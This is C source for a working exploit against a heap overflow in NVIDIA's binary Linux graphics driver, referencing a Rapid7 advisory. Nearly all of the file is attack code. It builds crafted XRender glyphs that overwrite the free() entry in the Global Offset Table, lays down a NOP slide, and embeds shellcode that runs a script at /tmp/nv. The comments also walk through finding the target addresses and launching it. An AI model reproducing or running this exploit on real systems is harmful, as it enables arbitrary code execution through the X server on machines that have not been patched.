/*
 * Copyright (c) 2005 Matthieu Herrb
 * Copyright (c) 2006 Derek Abdine, Marc Bevand
 *
 * Permission to use, copy, modify, and distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 *
 * Exploit for Buffer Overflow in NVIDIA Binary Graphics Driver For Linux
 * see http://www.rapid7.com/advisories/R7-0025.jsp for original advisory.
 */
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>

#include <X11/Intrinsic.h>
#include <X11/Xft/Xft.h>

int done = 0;
unsigned long black_pixel;

/* This exploit takes two arguments:
 *    o The lowest address past X's heap.
 *    o X's data address.
 *
 *    Note the first address required is usually
 *    in the 0xbXXXXXXX range, as the exploit
 *    forces the nvidia driver to allocate a large
 *    sum of memory.
 *
 *    This information can be easily taken using:
 *    cat /proc/`pgrep Xorg`/maps | head -n 5
 *
 *    On a sample system, this was:
 *
 *    08048000-081b8000 r-xp 00000000 09:02 58721202   /usr/bin/Xorg
 *    081b8000-081c7000 rw-p 00170000 09:02 58721202   /usr/bin/Xorg
 *    081c7000-08533000 rw-p 081c7000 00:00 0          [heap]
 *    b5bbc000-b60bd000 rw-s e35f9000 00:0d 12154      /dev/nvidia0
 *    b60bd000-b6112000 rw-p b60bd000 00:00 0
 *
 *    Thus, one would use:
 *
 *    ./nv_exploit 0xb5bbc000 0x081b8000
 *
 *    To run the exploit.  Note that although the exploit "best guesses"
 *    the correct spot to write the shellcode, it may be off.  This
 *    may be tweaked by modifying the 0x2C0000 in the source below.
 *    If the data is written to an incorrect location where vital
 *    X program data is stored, X will (eventually, if not immediately)
 *    crash.
 *
 *    The exploit works by overwriting the address of free() in the
 *    Global Offset Table to an address offset relative to the supplied
 *    GOT  address (second argument).  The NVIDIA driver will then call
 *    Xfree, which will in turn call free() using the overwritten GOT
 *    entry and nop slide to the shellcode.
 */


/* The shellcode below will execute a shell script located
 * at /tmp/nv. */
unsigned char shellcode[] =
   "\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x75\xfe\x31\xc0\x68\x2f\x6e"
   "\x76\x00\x68\x2f\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb8"
   "\x0b\x00\x00\x00\xcd\x80";

typedef struct  {
    Display *display;
    XtAppContext app;
    Window win;
    XftFont *font;
    XftColor color, bg;
    XftDraw *draw;
    GC gc;
} XDataStr;

static void
sigHandler(int sig)
{
    done = 1;
}

int
createWin(XDataStr *data)
{
    u_long attributeMask;
    XSetWindowAttributes attribute;
    Window w;
    Display *display = data->display;
    int screen = DefaultScreen(display);
    XGCValues gc_val;
    Screen *s;

    attribute.background_pixel = WhitePixel(display, screen);
    attribute.border_pixel = WhitePixel(display, screen);
    attribute.bit_gravity = NorthWestGravity;
    attribute.event_mask = ButtonPressMask|ButtonReleaseMask|KeyPressMask|
        ExposureMask;

    attributeMask =
        CWBorderPixel |
        CWBackPixel |
        CWEventMask |
        CWBitGravity;
    s = ScreenOfDisplay(data->display, screen);

    w = XCreateWindow(display, RootWindow(display, screen), 0, 0,
            DisplayWidth(display, screen)/2, 150,
            0, DefaultDepth(display, screen), InputOutput,
            DefaultVisual(display, screen), attributeMask, &attribute);

    data->font = XftFontOpen(display, screen,
            XFT_FAMILY, XftTypeString, "mono",
            XFT_SIZE, XftTypeInteger, 16,
            NULL);
    if (!XftColorAllocName(display, XDefaultVisual(display, screen),
                DefaultColormap(display, screen), "red4", &data->color)) {
        fprintf(stderr, "cannot get color");
        return -1;
    }
    if (!XftColorAllocName(display, XDefaultVisual(display, screen),
                DefaultColormap(display, screen), "linen", &data->bg)) {
        fprintf(stderr, "cannot get bg color");
        return -1;
    }
    data->draw = XftDrawCreate(display, w, DefaultVisual(display, screen),
            DefaultColormap(display, screen));
    gc_val.foreground = BlackPixel(display, screen);
    gc_val.background = WhitePixel(display, screen);
    data->gc = XCreateGC (display, w, GCForeground|GCBackground,
            &gc_val);

    data->win = w;
    return 0;
}

void
show(XDataStr *data)
{
    Status s;

    XMapWindow(data->display, data->win);
    s = XGrabKeyboard(data->display, data->win, False,
            GrabModeAsync, GrabModeAsync, CurrentTime);
    if (s != GrabSuccess) {
        printf("Error grabing kbd %d\n", s);
    }
}

int
main(int argc, char *argv[])
{
    Display *display;
    Widget toplevel;
    XtAppContext app_con;
    XEvent event;
    char c, *string;
    unsigned int i;
    XDataStr *data;
    XExposeEvent *expose = (XExposeEvent *)&event;
    unsigned int heapaddr, gotaddr;

    if (argc > 2)
    {
        heapaddr = strtoul(argv[1],NULL,0);
        gotaddr  = strtoul(argv[2],NULL,0);
    }
    else
    {
        printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
        return 0;
    }

    toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
            &argc, argv, NULL, NULL, 0);
    display = XtDisplay(toplevel);

    data = (XDataStr *)malloc(sizeof(XDataStr));
    if (data == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    data->display = display;
    data->app = app_con;

    if (createWin(data) < 0) {
        fprintf(stderr, "can't create Data Window");
        exit(EXIT_FAILURE);
    }
    show(data);

    signal(SIGINT, sigHandler);
    signal(SIGHUP, sigHandler);
    signal(SIGQUIT, sigHandler);
    signal(SIGTERM, sigHandler);

    /************************************************************************
     * BEGIN FONT HEAP OVERFLOW SETUP CODE
     *
     * "It's so hard to write a graphics driver that open-sourcing it would
     *  not help."
     *    - Andrew Fear, Software Product Manager (NVIDIA Corporation).
     **********************************************************************/
    XGlyphInfo * glyphs;
    XRenderPictFormat fmt;
    XRenderPictFormat *mask = 0;
    GlyphSet gset;
    char * buf =0;
    int offset, cr, numB;
    int xscreenpos  = 32680;
    int magic_len   = 32768 - xscreenpos;
    int wr_addr_len = 3548;
    int wr_nop_len  = 200;

    /* Calculate the offset to the Global Offset Table.
     * 0x2C0000 is the size of the buffer the NVIDIA driver
     * allocates for us when it is about to draw.
     */
    offset = gotaddr-(heapaddr-0x2C0000);
    offset += magic_len;
    glyphs = malloc(sizeof(XGlyphInfo)*3);

    /* Payload glyph */
    glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */
    glyphs[0].height = 1;
    glyphs[0].yOff = 0;
    glyphs[0].xOff = glyphs[0].width;
    glyphs[0].x = 0;
    glyphs[0].y = 0;

    /* Large offset glyph (untweaked) */
    glyphs[1].width=0;
    glyphs[1].height=0;
    glyphs[1].yOff=32767;
    glyphs[1].xOff=0;
    glyphs[1].x = 0;
    glyphs[1].y = 0;

    /* Small offset glyph (tweaked) */
    glyphs[2].width=0;
    glyphs[2].height=0;
    glyphs[2].yOff=0;
    glyphs[2].xOff=0;
    glyphs[2].x = 0;
    glyphs[2].y = 0;

    fmt.type = PictTypeDirect;
    fmt.depth = 8;

    Glyph * xglyphids = malloc(3*sizeof(Glyph));

    xglyphids[0] = 'A';
    xglyphids[1] = 'B';
    xglyphids[2] = 'C';

    int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
    int bufsize = stride*glyphs[0].height;
    buf = malloc(bufsize);

    /* Write jump address to the buffer a number of times */
    for (cr=0; cr<wr_addr_len; cr+=4)
    {
       *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4;
    }

    /* Write the NOP instructions until wr_nop_len */
    memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);

    /* Write the shellcode */
    cr+=wr_nop_len;
    memcpy(buf+cr, shellcode, sizeof(shellcode));

    /* Calculate the number of B's required to send */
    numB = offset / (glyphs[1].yOff * magic_len);

    /* We send only one C, but we change its yOff value according to
     * how much space we have left before we meet the correct index length */
    glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len);

    /* Now create a new buffer for the string data */
    string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
    for (cr=0; cr<numB; cr++)   string[cr] = 'B';
                                string[cr] = 'C'; cr++;
                                string[cr] = 'A'; cr++;
                                string[cr] =  0;

    mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);
    gset = XRenderCreateGlyphSet(display, mask);

    if (mask)
    {
        /* Ask the server to tie the glyphs to the glyphset we created,
         * with our addr/nopslide/shellcode buffer as the alpha data.
         */
        XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize);
    }
    /* END FONT HEAP OVERFLOW SETUP CODE */

    done = 0;
    while (!done) {
        XNextEvent(display, &event);
        switch(event.type) {
            case KeyPress:
                i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
                if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
                    done = 1;
                }
                break;
            case Expose:
                XftDrawRect(data->draw, &data->bg,
                        expose->x, expose->y,
                        expose->width, expose->height);
                /* Send malignant glyphs and execute shellcode on target */
                XRenderCompositeString8(display, PictOpOver,
                        XftDrawSrcPicture(data->draw, &data->color),
                        XftDrawPicture(data->draw), mask, gset,
                        0, 0, xscreenpos, 0, string, strlen(string));
                break;
        }
    }

    free(glyphs);
    free(xglyphids);
    free(buf);
    free(string);

    XFlush(display);
    XUnmapWindow(data->display, data->win);
    XUngrabKeyboard(data->display, CurrentTime);
    XCloseDisplay(display);
    exit(EXIT_SUCCESS);
}